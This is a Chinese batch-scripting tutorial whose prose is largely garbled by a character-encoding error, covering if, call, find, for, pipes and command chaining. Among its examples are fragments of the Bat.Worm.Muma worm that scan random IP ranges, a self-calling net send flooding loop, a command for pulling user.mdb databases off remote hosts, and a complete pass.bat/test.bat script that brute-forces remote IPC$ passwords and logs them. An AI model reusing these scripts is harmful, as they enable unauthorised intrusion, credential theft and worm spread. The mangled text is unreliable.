       烦!好象一个半老女人到了更q期Q什么事都想唠叨几句Q什么事都感C舒服Q看谁谁不爽。明知山有虎Q偏向虎pQ最后留下一w伤痕无功而返Ӟ才发现自q然如此脆弱,如此渺小Q如此不堪一凅R徘徊在崩溃的边~,H然回想起了自己最后一ơ扁人的那一刻,q真有点怀念(其实我很不喜Ƣ扁人,更不喜欢被h扁)。我需要发泄,我用手指拼命的敲打着键盘Q在一阉|一阉|节奏的声音中Q屏q上出现了上面的q些文字。可Nq就是发泄的另一U方式吗Q中国hq是厉害Q早在几千年前孔老夫子就说过"唯女子与hQ难M"Q真**有先见之明,佩服Q?br />       虽然是在发泄Q不q大家请攑ֿQ以我的脾气Q既然决定写q篇教程Q就一定会力d好,写完,l对不给自己留下遗憾Q要不这教程׃是我写的Q?br />       曄有一经典的批处理教E出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,Z间最大的痛苦莫过于此。如果上天能l你一个再看一ơ的ZQ你会对那篇教程说三个字Q我׃Q如果非要给q䆾爱加上一个期限,你希望是100q。因?00q后Q你恐怕早已经挂了Q而现在,你的屏幕上出Cq篇你正在看的批处理教程Q虽然不如你曄看的那篇l典Q但如果勉强q过的去。你会爱它吗Q时间会?0q那么长吗?{案是:试试看吧?br />       批处理脚本中最重要的几个命令,在q一章详l介l,但是很遗憾,有些l节到现在我都没掌握的很好,甚至q有些生分。如同还不太懂得׃栗但我一直都在努力,即一直都没有收获。所以可能讲的会比较W统Q但我会告诉你方法,剩下的就是时间问题了Q需要自己去练。让我们共同努力吧。冰M非一日之寒,滴水I石非一日之功。有些事情,比如学批处理Q比如爱一个hQ都是不能速成的,甚至q会有付辛而收获ؓ甚微的情c再ơ重画I看这教E的时候,一定要静下心来Q除非你已经掌握了这教E的所有东?---但那也就不必看了Q浪Ҏ_

7、if
       接上一章,接着讲if命o。ȝ来说Qif命o是一个表C判断的命oQ根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三U用法,在这里分开讌Ӏ?/p>

(1)、输入判断。还是用例五里面的那几句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
      q里判断输入的参数情况,如果参数为空Q无参数Q,则蟩转到usageQ如果参Cؓ/?或helpӞ大家一般看一个命令的帮助Q是不是输入??或help呢,q里q么做只是ؓ了让q个脚本看v来更像一个真正的E序Q,也蟩转到usage。这里还可以用否定Ş式来表示"不等?Q例如:if not "%1"=="" goto usageQ则表示如果输入参数不ؓI就跌{到usageQ实际中q样做就没意义了Q这里介l用法,不了那么多了,呵呵。)是不是很单?其实译成中文体会一下就understand了?/p>

(2)、存在判断。再看例二里q句Q?br /> if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
      如果存在那些gif文gQ就删除q些文g。当然还有例四,都是一L道理。注意,q里的条件判断是判断存在的,当然也可以判断不存在的,例如下面q句"如果不存在那些gif文g则退?Qif not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表C否定而已?/p>

(3)、结果判断。还是拿例五开刀Q没惛_自己写的脚本Q竟然用处这么大Q呵呵)Q?br /> masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
      先对源代码进行汇~,如果p|则暂停显C错误信息,q在按Q意键后自动进入编辑界面;否则用linkE序q接生成的obj文g。这里只介绍一下和if命o有关的地方,&命o后面会讲到。这U用法是先判断前一个命令执行后的返回码Q也叫错误码QDOSE序在运行完后都有返回码Q,如果和定义的错误码符合(q里定义的错误码?Q,则执行相应的操作Q这里相应的操作为pause & edit %1.asm部分Q?br /> 另外Q和其他两种用法一Pq种用法也可以表C否定。用否定的Ş式仍表达上面三句的意思,代码变ؓQ?br /> masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
      看到本质了吧Q其实只是把l果判断后所执行的命令互换了一下,"if not errorlevel 1"?if errorlevel 0"的效果是{效的,都表CZ一句masm命o执行成功Q因为它是错误判断,而且q回码ؓ0Q?pC否定,是说这个错误不存在Q就是说masm执行成功Q。这里是否加notQ错误码到底?q是1Q是值得考虑的两个问题,一旦搭配不成功脚本p定出错,所以一定要体会的很深刻才行。如何体会的深刻Q练习!自己写一个脚本,然后把有not和没有not的情况,q回码ؓ0?的情况分别写q去执行Q怎么Q嫌ȝ啊?排列l合一下才四中情况你就嫌麻烦了Q?br />        后面介绍道命o和组合命令时q有更麻烦的呢!怕了Q呵c)Q这样从执行的结果中p很清楚的看出q两U情늚区别?br /> q种用errorlevell果判断的用法是if命o最隄用法Q但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码Q则要达到相同的效果Q必ȝelse来表C?否则"的操作,是比较麻烦的。以上代码必d成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
       关于if命o的这三种用法say到这里,理解很简单,但应用时׃一定用的那么得心应手,主要是熟l程度的问题。可能有的朋友有ҎӞ我怎么没给出类g面三行的用法介绍Q是因ؓ下面三行是if命o帮助里对它自w用法的解释QQ何h只要一?if /?"p看到Q我没有必要在这里多费口舌;更重要的原因Q是我觉得这样介l的不清楚,看的Z一定看的懂Q所以我采用上面自己对if命o的理解来介绍。一定要注意的是Q这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换Q以Z本质上讲Q这三种用法都是建立在判断的基础上的Q哲学教我们学会透过现象看事物本质!Q。有兴趣的朋友可以自qI一下?br /> IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command

8、call
      学过汇编或C的朋友,肯定都知道call指o表示什么意思了Q在q里它的意思其实也是一L。在批处理脚本中Qcall命o用来从一个批处理脚本中调用另一个批处理脚本。看例八Q默认的三个脚本文g名分别ؓstart.bat?0.bat和ipc.batQ:
start.batQ?br /> ......
CALL 10.BAT 0
......
10.batQ?br /> ......
ECHO %IPA%.%1 >HFIND.TMP
......
CALL ipc.bat IPCFind.txt
ipc.batQ?br /> for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
       有没有看Z么不对的地方Q没看出来啊Q没看出来就对了Q其实就没有不对的地方嘛Q你怎么看的出来Q从上面两个脚本Q你可以得到如下信息Q?br /> 1、脚本调用可以灵z运用,循环q用、重复运用?br /> 2、脚本调用可以用参敎ͼ
       关于W一点就不多说了Q聪明的你一看就应该会,q里说一下第二点?br />        在start.bat中,10.bat后面跟了参数0Q在执行时的效果Q其实就是把10.bat里的参数%1?代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txtQ一个文Ӟ也可以做参数Q,执行时的效果Q就是用ipc.bat中的每一行的三个变量Q这里不懂没关系Q学qfor命o后就懂了Q,对应代换ipc.bat中的%%i?%j?%k。这里参数调用是非常灉|的,使用旉要好好体会。在初学期间Q可以先学习只调用脚本,至于q脚本的参数一起用的情况Q在后面的学习中自然׃有比较深ȝ理解Q这是因为当你已l可以灵z运用批处理脚本后,如何使代码写的更_更完更高效p然包括到了考虑的范_q时候你׃发现在调用脚本时直接加入参数Q可以代码效率加倍。By the wayQ上面的q几个脚本,都是Bat.Worm.Muma病毒的一部分Q在后面的教E里Q大家将有机会见到这个病毒的真面目?br /> 那是不是_在同一个目录下臛_存在两个批处理脚本文Ӟ只有一个你调用谁?Q?呵呵Q注意了Q这句话错了Q!只有一个照样可以调?---调用自nQ看例九Q默认脚本文件名a.batQ:
net send %1 This is a call example.
call a.bat
      q两句一l合Q效果自然不怎么P因ؓ只有一台机器来发消息,谁怕谁啊?我给你来个礼往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话Q呵c这里call a.bat的作用就是调用自w,执行完前一句net send命o后再调用自nQ达C循环执行的目的?br />       l出一个很有意思的脚本Q有兴趣的朋友可以实验一下。例十(默认脚本文g名ؓa.batQ:
call a.bat
      一定要在DOSH口下执行,否则只会看到一个窗口一闪而过Q看不到最后结果。等执行完后Q当脚本被执行了1260ơ,别忘了想一下到底是Z么!爱情有时候跟q个脚本一P一旦陷入死循环Q最后的l果都是意想不到的。只是爱情,l对不会{到被毫无理q循环q么多次Q也许在W三ơ时出Clove is aborted的提C?/p>

9、find
      q是一个搜索命令,用来在文件中搜烦特定字符Ԍ通常也作为条件判断的铺垫E序Q我怎么H然惌v了这四个字?Q。这个命令单独用的情况在批处理中是比较见的,因ؓ没什么实际意义。还是借例三来说明Q?br /> @echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
       先用netstat命o查是否有冰河默认的端?626在活动,q把l果保存到a.txt中。然后用type命o列出a.txt中的内容Q再在列出的内容中搜索字W串"7626" Q发现有的话则提CZ了冰治I否则退出。看Qfind命o其实p么简单,但有一点必要注意刎ͼ如果不用type命o列出a.txt中的内容Q而是直接使用find命o在a.txt中找"7626"Qfind a.txt "7626" && echo "Congratulations! You have infected GLACIER!"Q,必dl出q个a.txt的绝对\径(我试q了Qfindq没有默认\径就是当前\径的功能Q必L动指定。也许是我错了,Ƣ迎指正Q。因为在find命o的帮助里有这么一句话Q如果没有指定\径,find搜索键入的或者由另一个命令生的文字。这里的"另一个命?自然指的type命o了?br />        至于find命o的其他几个参数如v、n、i{,有兴的朋友自己ȝI吧Q这已经属于DOS学习的内容了Q这里就不做介绍。关于find命o和其他命令的一些更_֦的用法(有些直o人叫l)Q后l的教程中将介绍Q希望关注?/p>

10、for、set、shift
       Z么把q三个命令放ChԌ原因除了我说明外Q恐怕谁也想不到Q很单的一句话Q其实我也不太懂Q是的,对于q两个命令,我是从研IBat.Worm.Muma病毒开始学习的Q时间过M不少Q但q是没完全搞明白Q我怕讲出来q自己都看不懂,我更怕不心讲错了成了罪人。所以我l出一个脚本去告诉你,如何让这两个命ol自q一个初步的印象Q其实也是q两个命令的入门Q而ƈ不是说如何领会这两个命o。因领会如此_֦的两个命令(特别是forQ谈何容易!也许你会表扬我说我诚实、不懂就不懂Q也怽会骂我,让我既然不懂p紧滚蛋,不要在这里丢人显|也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即我不同意你说的话Q我也会誓死捍卫你说话的权利。看例十一Q?br /> @echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
       执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文gQ里面分别记录了for命o、set命o和shift命o的帮助信息。地球h都能看懂Q我׃多说了。我在网上曾l找了很长时间这三个命o的教E,但都不理惻I基本都是照搬的帮助信息。我惛_自己完全掌握了这两个命o后,一定要写一用自己的文字ȝ出来的for、set和shift教程Q关于shift命oQ后面介l批处理的参数时q将涉及刎ͼQ一定会的,q是我的心愿之一Q需要注意的一ҎQ这三个命o的帮助里 Q介l的都比较死板,虽然也D了一些例子,但这是远q不够的。要掌握q两个命令,最需要的是耐心Q没写错Q就是耐心。光是认真看完它们的帮助文字已l需要够的耐心了,要进一步练习领会这两个命oQ难道不需要更大的耐心Q实战练习的Z我会留给你的Q关键还是那句话Q看你有没有耐心ȝI了。看看例十二Q?br /> START.BATQ?br /> CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%
K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
       q是Bat.Worm.Muma病毒的v始脚本,讄了病毒运行的环境变量。是不是看的头都大了Q又忘了写在W一章第一D늚那句话(静下心来Q)Q你应该能体会到学习q两个命令所需要的耐心了吧。就如同ȝ一个hQ你得学会宽容,打不得骂不得Q用你宽大的胸怀d容她的一切,即你发现爱她的q程如看上面代码的过E一栯你头大,但你q是得爱下去----爱需要理由吗Q不需要吗Q需要吗Q不需要吗......{到风^静后,最直观的收获就是,你的耐心变的前所未有的充I面对她的复杂和善变,你自׃处变不惊Q以自己的方式去从容应付曄应付不了的场面,即到最后一w伤痕,也会感慨曄的D动有多么伟大?br />         没错Q这是批处理的力Q这是q力。让你受了伤q感谢伤你的人?br />        不得不再ơ重申一遍,各种DOS命o是批处理的BODYQ我实在找不Z个更合适的词来形容他们之间的关p)Q学好DOS命o是学好批处理的前提。其他DOS命o如copy、dir、del、type、path、break、start{内部命令,以及ping、net、cmd、at、sort、attrib、fc、find{外部命令,在批处理里的应用非常q泛。这教E的作用Q是教你认识批处理,以及如何利用DOS命ol合出来一个完的批处理脚本,去让它自动完成你惌它做的事情。而灵z自如的~辑一个批处理脚本是徏立在熟练掌握DOS命o的基上的Q这已经出了本文的范畴Q在此就不赘qC?br />        不知不觉中第三章已经l束了。耳麦里传来的依然是陈晓东的《比我幸》,每隔4?2U就自动重播。虽然我不ƈ不很喜欢陈晓东,可这q不妨碍我喜Ƣ音乐,喜欢q首描写的如此让人感慨的歌。请你一定要比我q福/才不枉费我狼狈退?再痛也不说苦/׃用抱歉来弥补/臛_我能成全你的q?误得你要比我幸?才值得我对自己D酷/我默默的倒数/最后再把你看清?看你眼里的我好馍p?慢慢被放逐。我如同一个因q老失色而拉不到客的老妓奻Il望的徘徊在曄辉煌的红灯区Q用一脸的木然瞟一眼来来去ȝ人群Q默默的回忆自己q不光彩的过去,qL自己要面对的未来。直到看见那些幸依偎在一L情G们,才突焉发现上帝的公qI和这U公q的D忍?br />         可以_批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介l,原因我已l说了,因ؓ我也是个菜,我也不太?---但我正在学!你呢Q今天又M一图书馆Q淘金一样发C一本叫《DOSҎ件》的东东Q藏在一个角落里落满了灰Q五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思\上讲Q已l有点time out了,很多东西已经基本没有利用的h|q就是信息时代的更新速度Q,但还是很值得看的。于是打下午淘q来Q放假回M再好好研I一番,q同那几个不熟悉的命令一h熟了Q再l写q篇教程。我始终坚信Q没有最好只有更好?br />        但是很可惜,{到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家q学期的工作l束了。于是回到宿舍打l写W四章,正在q时又得C?振奋人心"的消息:期末考试有一U挂了,而且是全班第一----q一门整个班里就挂了我一个。郁L情A刚w间涌上心_整个世界仿佛都变成黑的了。食堂和卖部已l陆l关门,学校里的来越,q面q来的几个同学也都一w行李,忙碌着准备回家q年Q内心的孤寂和失落如同夏日里暴雨前的乌云Q迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个h在天桥上发呆Q还能怎么Pq期末考试都应付不了的p|男h?/p>

         "N休息"旉好象长了点,呵呵Q上课了Q从q一章开始,详l介l批处理中常用的几个l合命o和管道命令。这些命令虽然不是必ȝQ如同爱一个h时不一定非得每天去陪,但如果少了这个过E,事情׃变的复杂而不完美Q所以我认ؓ道命o和组合命令是批处理的调味剂,几乎是少不了的?br />          下面从管道命令讲赗常用的道命o有以下这些:|?gt;?gt;>

11、|
          q个命o恐怕大家不是很陌生Q经常操作DOS的朋友都应该知道Q当我们查看一个命令的帮助Ӟ如果帮助信息比较长,一屏幕昄不完时DOSq不l我们时间让我们看完一屏幕再翻到另一屏幕Q而是直接昄到帮助信息的最后。如在提C符下输入help回RӞ׃看到当前DOS版本所支持的所有非隐含命oQ但你只能看到最后的那些命oQ前面的早就一闪而过了,如何解决q个问题Q看例十三:
help | more
          回R后会发现昄满一屏幕后就自动暂停Q等候l显C其他信息。当按写回RӞ变成一个一个的出现Q按下空格键时一屏幕一屏幕昄Q直?br />           全部昄完ؓ止;按其他键自动停止q回DOS?br />            Z么会出现上述现象Q答案很单,q里l合了管道命令|和DOS命omore来共同达到目的的。这里先单介l一下help命o和more命oQ对理解|命o的用法有很大帮助?/p>

11.1、help命o。其实这个命令是不需要多说的Q但在上qC子中help命o的用法比较特D,直接在DOS提示W下输入help命oQ结果是让DOS昄其所支持的所有非隐含命oQ而在其他地方用help命oQ如输入net help回RQ则是显Cnet命o的帮助信息?/p>

11.2、more命o。可能很多朋友以前就没有接触q这个命令,q个命o在Linux下的用处非常q泛Q也是管道命令之一。大家可以找一比较长的文章(a.txtQ在DOS提示W下输入如下两个命oL较一下差别:more a.txt和type a.txt。利用more命oQ可以达到逐屏或逐行昄输出的效果,而type命o只能一ơ把输出昄完,最后的l果是只能看到末尾的部分。在例十三里Qmore命o的作用就是让输出的信息逐屏或逐行昄?br />        看到q里Q你是否已经能隐U感受到了|命o的作用了Q没错,它的作用Q就是把前一命o的输出当后一命o的输入来用的。在例十三里Q前一命o的输出,是help命o执行后显C的DOS所支持的所有非隐含命oQ而这个结果刚好做了后一命omore的输入。所以例十三和下面的例十四是{效的:
help > a.txt
more a.txt
del a.txt
       q里利用另一道命o>生成了一个a.txt文g作ؓ中间环节Q在用more命o查看a.txt文g后再删除a.txt文gQ例十三的所有操作是在内存中q行的,不生成文Ӟ。可以看出,正确使用道命o|可以带来事半功倍的效果?br />        l合例十三和例十四,以及前面的例九再体会一遍:|命o的作用,是让前一命o的输出当做后一命o的输入?/p>

12?gt;?gt;>
       q两个命令的效果从本质上来说都是一LQ他们都是输出重定向命oQ说的通俗一点,是把前面命令的输出写入C个文件中。这两个命o的唯一区别是,>会清除掉原有文g中的内容后把新的内容写入原文Ӟ?gt;>只会另v一行追加新的内容到原文件中Q而不会改动其中的原有内容。例十五Q?br /> echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
       依次在DOS提示W下输入以上各行命oQ一行一个回车,在当前目录下生成一个a.bat文gQ里面的内容如下Q?br /> @echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
       看到q里Q你得到了多信息?
1、可以直接在DOS提示W下利用echo命o的写入功能编辑一个文本,而不需要专门的文本~辑工具Q?br /> 2、管道命?gt;?gt;>的区别如上所q。如果这里只?gt;命o来完成上面操作,最后也会生成一个a.batQ但里面的内容就只剩下最后一行exit了。所?gt;?gt;>一般都联合h用,除非你重定向的输出只有一行,那么可以只?gt;了。结合例一再仔l体会输出重定向道命o>?gt;>的用法?/p>

13?lt;?gt;&?lt;&
      q三个命令也是管道命令,但它们一般不常用Q你只需要知道一下就ok了,当然如果想仔l研I的话,可以自己查一下资料?br /> <Q输入重定向命oQ从文g中读入命令输入,而不是从键盘中读入?br /> >&Q将一个句柄的输出写入到另一个句柄的输入中?br /> <&Q刚好和>&相反Q从一个句柄读取输入ƈ其写入到另一个句柄输Z?br />       关于q三个管道命令的举例Q在后面批处理脚本的_֦应用中还涉及到?br />       下面介绍l合命oQ?amp;?amp;&、||
      l合命oQ顾名思义Q就是可以把多个命ol合h当一个命令来执行。这在批处理脚本里是允许的,而且用的非常q泛。它的格式很?---既然现在已经成了一个文件了Q那么这多个命op用这些组合命令连接v来放在同一?---因ؓ批处理认行不认命令数目。组合命令的作用Q就如同l爱人陪不是Q说一句是_说十句也是说Q不一ơ把好话都说了出来,效果可能会好?---当然得排除一U特D情况:q些话是否有先后序Q有些话是否可以同时说。在批处理脚本里也一P有些时候某些命令是不能同时执行的,后面l你说?br />       刚刚又送走了一个同学,人去楼空的感觉越来越明显Q望着I荡的床铺Q^日里喧闹的宿舍就只剩下我一个h了,整个世界只有那个qx令h非常讨厌的老鼠q时候才昑־可爱h----只有它会陪着我在q不敢开灯的漆黑夜里----一个连期末考试都应付不了的p|男h。失败!我感到快要呼怸q来Q这U失败的压力直o我窒息,直让我的手接收不到大脑的信号Q简直让q篇未完成的教程夭折。但我能怪谁Q?br />       忙碌了一学期要过q了却挂了科Q失败;挂了U也倒Ş了,竟然一个h拖全班的后退Q失败中的失败;更失败的Q是在这最p的时候,竟然找不C个h可以倾诉Q然而最p|的,是突然发现自q然如此脆弱,如此耐不住寂寞。不q这倒也解开了心中疑惑很久的一个问题:Z么明知道那段情是一个旋涡却q心甘情愿的往里面?---q就是青春,风一Lq龄Q火一样不安的心。不再爱了,我不要再一个h的时候苦苦等待;不再׃Q我不要在你l的囚笼里怜悯的爱Q不再爱了,我不要在别h的视UK如此可笑Q不再爱Q我不再爱。就塌下来Q我也要一个h扛着Q头不能低腰不能弯,不能喘息不能倾诉Q因然失败,但还是男人,是男人就不能向困难低_

14?amp;
     q可以说是最单的一个组合命令了Q它的作用是用来q接n个DOS命oQƈ把这些命令按序执行Q而不是否有命o执行p|。例十六Q?br /> copy a.txt b.txt /y & del a.txt
     其实q句和move a.txt b.txt的效果是一LQ只不过前者是分了两步来进行的Q在后面q将涉及到具体用哪U方法的问题Q。这个命令很单,׃多费口舌了,唯一需要注意的一ҎQ这?amp;两边的命令是有执行顺序的Q从前往后执行?/p>

15?amp;&
       切记Q这里介l的几个命o都是l合命oQ所以他们前后都必须都有其他命oQ要不如何组合?Q。这个命令也不例外,它可以把它前后两个命令组合v来当一个命令来用,?amp;命o不同之处在于Q它在从前往后依ơ执行被它连接的几个命o时会自动判断是否有某个命令执行出错,一旦发现出错后不l箋执行后面剩下的命令。这׃ؓ我们自动化完成一些Q务提供了方便。例十七Q?br /> dir 文g://1%/www/user.mdb && copy 文g://1%/www/user.mdb e:\backup\www
        如果q程L存在user.mdbQ则copy到本地e:\backup\wwwQ如果不存在当然׃执行copy了。这句对搞网的朋友是否有点用呢Q呵c?br />         其实它和下面q句的作用是一LQ?br /> if exist 文g://1%/www/user.mdb copy 文g://1%/www/user.mdb e:\backup\www
        至于你喜Ƣ用哪个随便了Q我没办法判断dir和if两个命o哪一个执行效率更高,所以不知道用哪个更好,呵呵?br />         你是否还记得"有些命o是不能同时执行的"Q你是否怿q句话?当然得相信,不信q你出道题Q把C盘和D盘的文g和文件夹列出到a.txt文g中。你如何来搞定q道题?有朋友说Q这q不是很easy的问题吗Q同时执行两个dirQ然后把得到的结?gt;到a.txt里就ok了嘛Q看例十八:
dir c:\ && dir d:\ > a.txt
        仔细研究一下这句执行后的结果,看看是否能达到题目的要求Q错了!q样执行后a.txt里只有D盘的信息Qؓ什么?因?amp;&命o?gt;命o不能同时出现一个句子里Q批处理把一行看成一个句子)Q!l合命o&&的优先没有道命o>的优先高(自己ȝ的,不妥的地方请指正Q!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txtQ而ƈ不是如你想的q两部分Qdir c:\ && dir d:\?gt; a.txt。要使用l合命o&&辑ֈ题目的要求,必须得这么写Q?br /> dir c:\ > a.txt && dir d:\ >> a.txt
        q样Q依据优先高低QDOS把q句话分成以下两部分Qdir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特D,值得好好研究体会一下?br />         当然q里q可以利?amp;命oQ自己想一下道理哦Q:
dir c:\ > a.txt & dir d:\ >> a.txt

16、||
        q个命o的用法和&&几乎一P但作用刚好和它相反:利用q种Ҏ在执行多条命令时Q当遇到一个执行正的命o退出此命ol合Q不再l执行下面的命o。题目:查看当前目录下是否有以s开头的exe文gQ如果有则退出。例十九Q?br /> @echo off
dir s*.exe || exit
        其实q个例子是有破熾的,你看出来了吗Q其实很单,自己试试q道了嘛:如果存在那个exe文gQ就退出;如果不存在那个exe文gQ也退出!Z么?因ؓ如果不存在那?exe文gQ则前一条命令dir s*.exe执行肯定是不成功的,所以就l箋执行exitQ自然就退ZQ呵c那么如何解决题目给出的问题呢?看例二十Q?br /> @echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
        q样执行的结果,p辑ֈ题目的要求,是否存在s*.exe出CU结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echoq写了?br />         l出两个更好研究优先U(同时也是更难理解Q的脚本Q仔l研I它们的区别Q以便彻底理解各U命令的优先U顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错QOKQ请看例二十一和例二十二:
例二十一Q?br /> @echo off
dir a.ttt /a & dir a.txt || exit
例二十二Q?br /> @echo off
dir a.ttt /a && dir a.txt || exit
        警告Q患有心脑血病的朋友请不要研究以上两例Q否则轻者头大如斗,重者血爆裂。Q何h׃研究q两个脚本的区别而造成的Q何事故由自己或其合法监护责,与本人和本论坛无兟뀂特此警告!
        有关道命o和组合命令就大概介绍到这里了Q不知道聪明的你是否理解Q呵呵,能理解就成天才了Q除非你以前已l掌握!千万别小看了q几个鬼命oQ大槌是我的说Q简直就不是人学的东西!但我q是静下心来研究了一番,最后得出的l论如上所qͼ已经一点不剩的交给你了Q希望你好好收藏q消化吸Ӟ当然有错误被你发CQ或者不完整的地方被你看出来了,误紧告诉我一壎ͼ
         q几个命令真的把我的头都搞大了。在|上有一流传很q的批处理教E:"明批处理教程"Q虽然说的比较全面,但看h很不q瘾。在对for{命令介l时׃个for /? > a.txt & start a.txt完事了(当然q一点上我不能说人家什么,毕竟我连for /?都没l出Q,而对上述道命o和组合命令、以及这教E以后将讲到的用批处理操作注册表{方面根本没有介l。我之所以花整整一章来讲管道命令和l合命oQ是因ؓ他们才是批处理的_֍和灵,能否正确利用好这几个命oQ是能否掌握批处理的前提条g。如for、set{DOS命o的问题,可以从DOS的角度出发专门有针对性的学习Q但有关q几个命令的问题Q却是不Ҏ_N掌握的----他们之间的关pd复杂了!
         下列代码存为bat文g
1、如果用字典破解Qpass.bat 字典文g路径及名U?L 用户?br /> 2、如果用数字破解Qpass.bat 起始?步长 l束?L 用户?br />          密码破解出来之后Q存放于c:\pass.txt文g里面?br />          下列代码存为pass.bat文g
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解l果Q?>>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的?
:大棒槌是我的?
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的?
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
下列代码存为test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命o执行q回l果Qnet use成功q回0Q失败返?
:answer0
echo q程LQ?%1" >>c:\pass.txt
echo ?P"%3" >>c:\pass.txt
echo ?码:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2

For
      对一l文件中的每个文件运行指定的命o?br />       可以在批处理E序中或直接从命令提C符使用 for 命o?br />       要在批处理程序中使用 for 命oQ请使用以下语法Q?br /> for %%variable in (set) docommand [command-parameters]
      要在命o提示W下使用 forQ请使用以下语法Q?br /> for %variable in (set) do command [command-parameters]
参数
%%variable ?%variable
      代表可替换的参数。for 命o使用?set 中指定的每个文本字符串替?%%variableQ或 %variableQ,直到此命令(?commandparameters中指定)处理所有的文g为止。?%% variable 在批处理E序中执?for 命o。?% variable 通过命o提示W执?for 命o。变量名区分大小写?br /> (set)
       指定要用指定的命令处理的一个或多个文g或文本字W串。需要括受?br /> command
       指定要在指定?set 所包含的每个文件上执行的命令?br /> command-parameters
       指定要用于指定命令(如果指定的命令要使用M参数或开养I的Q何参数或开兟?br />        如果启用了命令扩展(Windows 2000 中的默认讄)Q将支持 for 命o的其他Ş式?br /> For 命o的其他Ş?br />        如果启用了命令扩展,支持如?for 命o的其他格式:
只限于目?br /> for /D [%% | %]variable in (set) docommand [command-parameters]
       如果 set 包含通配W(* ??Q,则指定与目录名匹配,而不是文件名?br /> 递归
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
       q入根目录树[drive:]pathQ在树的每个目录中执?for 语句。如果在 /R 后没有指定目录,则假定ؓ当前目录。如?set 只是一个句?(.) 字符Q则只列丄录树?br /> q代
for /L [%% | %]variable in (startQstepQend) do command [command-parameters]
       集合是一pd按步镉K划分的、从头到数字。这P(1,1,5) 生成序?1 2 3 4 5Q?(5,-1,1) 生成序?(5 4 3 2 1)?br /> 文g解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出现 usebackq 选项Q?br /> for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 参数指定一个或多个文g名称。在l箋?filenameset 中的下一个文件之前,每个文g都会被打开、读取和处理?br />        q程p取文件、分成独立的文本行及然后每行解析成零个或更多个令牌l成。然后用设|ؓ扑ֈ的一个或多个令牌字符串的变量|或多个|集合调用 for 循环体。默认情况下Q?F 传递每个文件每一行的W一个空白分隔符受?br /> 跌I。通过指定可选的"options"参数可以覆盖默认的解析行为。这是一个引用字W串Q它包含一个或多个关键字以指定不同的解析选项?br /> 关键字是Q?br /> 关键?说明
eol=c 指定行尾注释字符Q只一个字W)
skip=n 指定在文件的开头蟩q的行数?br /> delims=xxx 指定定界W集合。这替换空格和制表W的默认分隔W集?br /> tokens=x,y,m-n 指定o牌从每行传递到每个反复的正文。这导致分配其他变量名。m-n 格式是一个范_指定?mth ?nth 的o牌。如
